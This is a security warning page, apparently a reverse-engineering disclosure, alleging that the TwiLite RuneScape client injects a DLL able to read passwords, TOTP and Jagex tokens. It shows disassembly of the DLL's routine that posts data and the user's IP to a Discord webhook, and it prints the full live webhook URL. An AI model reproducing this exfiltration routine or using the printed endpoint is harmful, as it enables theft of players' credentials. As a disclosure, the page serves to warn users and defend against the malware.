TwiLite
CRITICAL VULNERABILITY

TwiLite Injects a DLL Built to Steal Your Jagex Account

TwiLite from twilite.dev is a closed-source Old School RuneScape client. Its launcher, twilite_loader.exe, injects twilite_loader.dll into the Jagex client. We reversed that DLL in IDA Pro with twilite-bot.jar: it exposes plaintext password and TOTP, handles Jagex access/refresh tokens, and can POST files plus your public IP to a hardcoded Discord webhook.

THE DEVELOPER

This is how TwiLite’s developer responds

“Anyone that fucks with me will not end up in a good spot btw”
Tyrese (TwiLite / TL), after someone offered to reverse the client with AI.

If you've used TwiLite, do this NOW:

  1. Change your Jagex account password on the official Jagex site, not inside TwiLite.
  2. Rotate authenticator / TOTP. Assume the secret was readable in-process.
  3. Sign out of Jagex sessions and treat access/refresh tokens as stolen.
  4. Uninstall TwiLite, delete twilite_loader.dll, and check bank/trades.

What is TwiLite?

TwiLite is an OSRS client and plugin marketplace hosted at twilite.dev. The public site is login-walled, so search results often show a “TwiLite Marketplace Error” login page. The Windows download from twilite.dev/download is twilite_loader.exe. That injector loads twilite_loader.dll into Jagex / Steam OSRS and runs twilite-bot.jar (TwiLite Native) against Jagex accounts.

It is not RuneLite. If you were pointed here while looking up TwiLite, TwiLite client, TwiLite OSRS, or “is TwiLite safe?”, read the FAQ and do not install the launcher.

COMMUNITY REPORT

Users said accounts used with TwiLite were compromised

After a second account was taken, one user dumped the injected DLL. Source: r/RunescapeBotting — Warning: Think Twice Before Using TwiLite.

TwiLite injects its own dll directly into the Jagex client and hooks into the authentication process.

Inside twilite_loader.dll, TwiLite defines a native function called mlp. Give it a byte array and it spins up a separate thread, packages those bytes into a file called mlp.bin, and sends it directly to a hardcoded private Discord webhook along with your public IP from api.ipify.org.

The same injected dll exposes native access to the account's plaintext password and TOTP, in addition to handling the Jagex authentication tokens.

Open the Reddit post

What this DLL can reach

Verified in twilite_loader.dll with IDA Pro, then confirmed against twilite-bot.jar.

Login secrets

Native getPassword / getTotp read plaintext fields out of the Jagex client object.

Jagex tokens

Access and refresh tokens are written into JX_ACCESS_TOKEN and JX_REFRESH_TOKEN.

Private Discord sink

mlp uploads arbitrary bytes as mlp.bin. debug posts your public IP from ipify.

Here's the proof

This is not a vibe check. These are the strings and instructions in the injected 64-bit DLL, plus the Java native declarations from the bot JAR.

dev/twilite/bridge/NativeBridge.class
The JAR declares a native called mlp. Give it a byte array and a string.
public static native void debug();
public static native void mlp(byte[], java.lang.String);
twilite_loader.dll · sub_18002E630
The DLL FindClass's that bridge, then RegisterNatives 21 methods. 0x1800E2120
18002e64f  lea     rdx, aDevTwiliteBrid  ; "dev/twilite/bridge/NativeBridge"
18002e656  call    qword ptr [rax+30h]   ; JNIEnv::FindClass
18002e748  mov     r9d, 15h              ; 21 native methods
18002e74e  lea     r8, off_1800E2120     ; JNINativeMethod table
JNI native table · last entry
Name, signature, and function pointer are hardcoded in the DLL.
name      "mlp"                         @ 0x1800bc754
signature "([BLjava/lang/String;)V"     @ 0x1800bc758
fnPtr     sub_18002C4A0                 @ 0x18002c4a0
sub_18002C4A0 · NativeBridge.mlp
Copy the Java byte[] with GetByteArrayRegion, then start a detached worker thread.
18002c588  call    qword ptr [rax+558h]      ; GetArrayLength
18002c5c0  call    qword ptr [r10+640h]      ; GetByteArrayRegion
18002c6a4  lea     r8, StartAddress          ; 0x18002C910
18002c6af  call    cs:_beginthreadex
18002c6d9  call    _Thrd_detach
StartAddress → sub_18002CB00
The worker prefixes the Discord message with user: , then POSTs the bytes as mlp.bin.
18002c910  StartAddress:
18002c919  call    sub_18002CB00

18002cbfa  mov     eax, cs:dword_1800BCA0C   ; "user"
18002cc02  movzx   eax, cs:word_1800BCA10    ; ": "
18002cc17  call    memcpy                    ; append Java string
18002cc29  call    sub_18002D630             ; HTTP POST
Hardcoded MIME names · .rdata
"Content-Disposition: form-data; name=\"files[0]\"; filename=\"mlp.bin\""
"\",\"attachments\":[{\"id\":0,\"filename\":\"mlp.bin\"}]}"
"user: "
sub_18002D400 · WinHTTP JSON POST
The webhook is not fetched, decrypted, or built at runtime. It is a wide string in the injected DLL.
18002d42a  lea     rcx, pszAgentW        ; "TwiLite NativeBridge/1.0"
18002d43e  call    cs:WinHttpOpen
18002d450  mov     r8d, 1BBh             ; 443
18002d461  lea     rdx, aDiscordCom      ; "discord.com"
18002d46b  call    cs:WinHttpConnect
18002d491  lea     r8, aApiWebhooks152   ; "/api/webhooks/1526046970341490803/WKWfWHpV2I4Il7ZXRx4_LtHtWrJLx4q7x6d7GPv4ciM_CMcSLIWEeiGhLTKGFziDDasq"
.rdata strings
0x1800bc440  "discord.com"
0x1800bc460  "/api/webhooks/1526046970341490803/WKWfWHpV2I4Il7ZXRx4_LtHtWrJLx4q7x6d7GPv4ciM_CMcSLIWEeiGhLTKGFziDDasq"
0x1800bc790  "TwiLite NativeBridge/1.0"

https://discord.com/api/webhooks/1526046970341490803/WKWfWHpV2I4Il7ZXRx4_LtHtWrJLx4q7x6d7GPv4ciM_CMcSLIWEeiGhLTKGFziDDasq
sub_18002CE10 · called by NativeBridge.debug
debug() GETs your public IP, wraps it in {"content":"..."}, and POSTs it to the same webhook.
18002ce4e  lea     rcx, pszAgentW        ; "TwiLite NativeBridge/1.0"
18002ce55  call    cs:WinHttpOpen
18002ce6c  lea     rdx, pswzServerName   ; "api.ipify.org"
18002ce76  call    cs:WinHttpConnect
18002ce99  lea     r8, pwszObjectName    ; "/"
18002cea0  lea     rdx, pwszVerb         ; "GET"
18002ceaa  call    cs:WinHttpOpenRequest
JAR caller
The plugin manager can invoke NativeBridge.debug() while scanning extra plugin JARs. That path sends IP, not password.
invokestatic dev/twilite/client/plugins/$18aki2r.$14$1w642rb:()V
; which is:
invokestatic dev/twilite/bridge/NativeBridge.debug:()V
sub_1800211F0 · mixin registrar
These are not leftover strings. They are native method names bound onto the Jagex client.
"getPassword"   @ 0x1800baa78
"setPassword"   @ 0x1800baa88
"getTotp"       @ 0x1800baa98
"setTotp"       @ 0x1800baaa0
"setJxAccessToken"
"setJxRefreshToken"
sub_180019900 · getPassword
Reads a native client field and returns it with JNI NewStringUTF. That is plaintext password access from injected code.
180019900  push    rbx
180019909  call    sub_18003A2D0           ; client instance
180019911  lea     rdx, [rax+0CD78C8h]     ; password field
18001991d  jmp     sub_1800392D0           ; NewStringUTF
sub_18001A920 · Jagex tokens
18001a920  lea     rdx, aJxAccessToken     ; "JX_ACCESS_TOKEN"
18001a927  jmp     sub_1800269E0           ; SetEnvironmentVariableA

18001a950  lea     rdx, aJxRefreshToken    ; "JX_REFRESH_TOKEN"
18001a957  jmp     sub_1800269E0

Visual proof

The original Reddit warning, TwiLite staff calling it “AI cope,” and the developer threatening anyone who reverse-engineers the client.

r/RunescapeBotting — Warning: Think Twice Before Using TwiLite
Developer reply: mlp “sends data… on demand.” Username and password “exposed for the login handler.”
Same developer: “I’d make more from plugin sales than I would from stealing peoples banks.”
TwiLite staff: “we caught some with their slimy hands in the cookie jar.”